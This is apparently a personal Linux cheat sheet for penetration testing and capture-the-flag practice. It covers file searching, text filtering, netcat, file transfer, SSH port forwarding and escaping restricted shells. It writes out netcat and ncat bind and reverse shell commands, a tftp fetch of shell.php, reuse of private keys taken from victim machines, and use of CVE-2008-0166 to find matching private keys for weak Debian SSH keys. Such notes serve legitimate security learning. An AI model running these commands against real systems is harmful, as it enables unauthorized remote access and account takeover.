Linux basics

A list of commands and techniques that are useful for getting around the file system and enumerating. I'm writing them down because they're easy to forget or mix up.

Finding things

There are some basic commands to find files and executables, but each one works differently.

Locate

Search against an index which must be updated periodically:

updatedb
locate nc.exe

Which

Search through directories defined in the $PATH environment variable:

which gcc

Find

Search recursively through directories:

find / -name "cron*"

Ls

Never use the basic command, always list directory contents showing owner and including dot files like bash_history:

ls -la
-rw-------    1 joe  staff   6863 26 Sep 17:12 .bash_history
-rw-r--r--    1 joe  staff    200 23 Jul 14:36 .bash_profile
drwx------  129 joe  staff   4128  1 Oct 15:41 .bash_sessions

Basic Bash scripting

This isn't even really Bash scripting, it's more about how to chain commands together to do useful things.

Filter

Being able to process text-based files and pull out useful data is a useful skill. For example, to filter out domain names from an HTML file full of other stuff, you can grep for something uniquely associated with URLs, then cut out extraneous information:

<li><a href="http://newsroom.cisco.com/">Newsroom</a></li> # links you'd find in HTML

grep "href=" file.html | cut -d "/" -f 3

In the above example, we are grepping for href= which identifies hyperlinks in HTML. We can filter more precisely by looking for recurring characters that help us divide the data into smaller chunks. The command cut -d "/" chunks the data and separates it by /. The -f 3 option tells us to filter out the 3rd chunk (field) of data.

Sort

Find unique items in a list with duplicates using sort -u:

grep "href=" file.html | cut -d "/" -f 3 | sort -u

Simple loop

Run the host command on every domain in a text file:

for url in $(cat list.txt); do host $url; done

Grep the output of host to find successful lookups:

for url in $(cat list.txt); do host $url; done | grep "has address" | cut -d " " -f 4 | sort -u

In the above example, you're looking for lines with has address, filtering out the URL by using spaces as the delimiter and then removing duplicates with sort.

Directing output

Direct output to a file with >:

cat /root/key.txt > /tmp/key.txt

Append output to a file with >>:

cat /root/key.txt >> /tmp/key.txt

Direct output to another command with |:

grep "href=" file.html | cut -d "/" -f 3

Netcat

Connect to a port

Connect to an open TCP or UDP port (e.g. mail service) to see if it responds:

nc -nv [host] 110
(UNKNOWN) [host] 110 (pop3) open
+OK POP3 server ready

Bind shell

Bob (Windows) wants Alice (Linux) to connect to his computer remotely and issue commands. Bob sets up a listener which allows anyone connect to port 443 to issue commands via cmd.exe:

nc -nlvp 443 -e cmd.exe

Alice then connects to Bob's machine and gets a Windows command prompt:

nc -nv [bob] 443

Reverse shell

Netcat can also send a command shell to a listening host. Let's say Alice (Linux) wants Bob (Windows) to issue remote commands to her computer.

Bob sets up a listener on his machine:

nc -nlvp 443
listening on [any] 443...

Alice then sends control of her command prompt to Bob's machine, via netcat:

nc -nv [bob] 443 -e /bin/bash

This is what hackers mean by popping shells, but usually it's getting a web server/desktop to send a reverse shell to your attack machine.

Ncat

It's like netcat, but can encrypt connections and restrict access.

Taking the example of Bob (Windows) setting up a bind shell so that only Alice (Linux) could connect to it via SSL, his listener would look like this:

ncat --exec cmd.exe --allow [alice] -vnl 443 --ssl

Alice would connect securely to Bob:

ncat -v [bob] 443 --ssl

File transfer

Python

You'll use python's web server all the time to transfer exploits and move files between machines (or possibly even within machines). Pay attention to the port you use, as it may interfere with shells or firewalls:

cd exploits
python -m SimpleHTTPServer 80

Netcat

To transfer files, set up a listener and redirect the output to a filename:

nc -nlvp 443 > nc.exe # receiving machine
listening on [any] 443...

nc -nv [host] 443 < nc.exe # sending machine pushes file
(UNKNOWN) [host] 443 (?) open

Wget

Download files from another machine:

wget [host]:8080/test.txt

Curl

Download files from another machine, such as webpages:

curl -O http://[host]/file.txt

TFTP

TFTP works more or less like FTP:

tftp [host]
tftp> get file.txt

If it can't be run interactively, this one-liner might work:

tftp [host] <<< "get shell.php shell.php"

SCP

Copy a file:

scp /path/to/source/file.ext username@host:/path/to/destination/file.ext

Copy a directory:

scp -r /path/to/source/dir username@host:/path/to/destination

SSH

SSH is surprisingly powerful and does way more than simply connecting you to remote machines.

Basic usage

SSH with a username:

ssh username@[host]

SSH with a private key:

cd Desktop
ssh -i /root/Desktop/keyfile username@[host]

If you find a private key in a victim machine (usually in home/user/.ssh/id_rsa) you can paste the keyfile contents into a text file on your local machine, set the right permissions with chmod 600 and ssh in with it.

Local port forwarding

Port forwarding can be tricky to understand, even with examples. There is a retired machine called Poison on Hack the Box which uses port forwarding. Reading some of the walkthroughs and attempting to exploit the machine does make things clearer.

But I still don't entirely get it, even though I've used the technique a few times. So maybe this section is wrong, lol.

Sometimes a service can only be accessed locally, for security reasons. The port might be open, but it will not accept remote connections. Let's say you have VNC running on a remote server and listening on the loopback interface (allows client software to communicate with server software on the same computer, usually with IP address 127.0.0.1 or localhost). To access this local-only service from your remote machine, you'll need to instruct SSH to forward connections from your machine's local port 5901 to the server's loopback interface + listening port for VNC: 127.0.0.1:5901.

This is the SSH command to forward your local port to the remote host's loopback interface:

ssh -L 5901:127.0.0.1:5901 username@[host]

Once that connection is established, open a second terminal window and connect to the remote VNC service as if you were on the same box:

xtightvncviewer 127.0.0.1:5901

So the first command instructs SSH to forward any connections from your machine's local port 5901 to 127.0.0.1:5901 on the remote host. Because of this tunnel, the second command lets you connect VNC service as if you were on the same server.

Here's another example using different local and remote ports: let's say you have PostgreSQL running on a remote server which can only be accessed from localhost on port 5432.

To forward connections from your local port 9000 to localhost:5432 on the remote server:

ssh -L 9000:localhost:5432 username@[host]

Then you would access the PostgreSQL admin console using this command, as if you were on the remote server:

psql -h localhost -p 9000

Bypassing restricted shells

SSH is one method of bypassing restricted shells (see Further Reading for more).

SSH in using a key, but without loading the restricted profile:

ssh -i keyfile username@[host] -t "bash --noprofile"

SSH in, but execute some commands before the remote shell is created:

ssh -i keyfile username@[host] -t "/bin/sh"

Debian SSH vulnerability

There's a famous vulnerability for old Debian-based systems (2006-2008, CVE-2008-0166) which basically makes the number of possible SSH keys small and predictable. Repositories of weak keys have been generated and can be searched if you happen to find an authorized_keys file. Using the string in that file, go into the corresponding folder of weak keys (DSA or RSA, choose the right one!) and grep for the public key:

grep -lr AAAAB3NzaC1kc3M[snip] *.pub

If that key is vulnerable, it will return a public key file like this:

f1f[snip]-16858.pub

Each public key in the weak key repository has a corresponding private key with the same filename. Copy it out and chmod 700 so that you can use it with ssh. It's very likely you'll need to update your local ssh config file /home/user/ssh/ssh_config with some ancient stuff to connect successfully, like this:

PubkeyAcceptedKeyTypes=+ssh-dss

If it's still not working, add the -vvv debug parameter to your SSH command and google the error messages. There is also a good walkthrough of the whole process with a downloadable Vulnhub machine for practice.

Further reading

• Linux Journey

• Netcat options

• Ncat options

• Bypassing restricted shells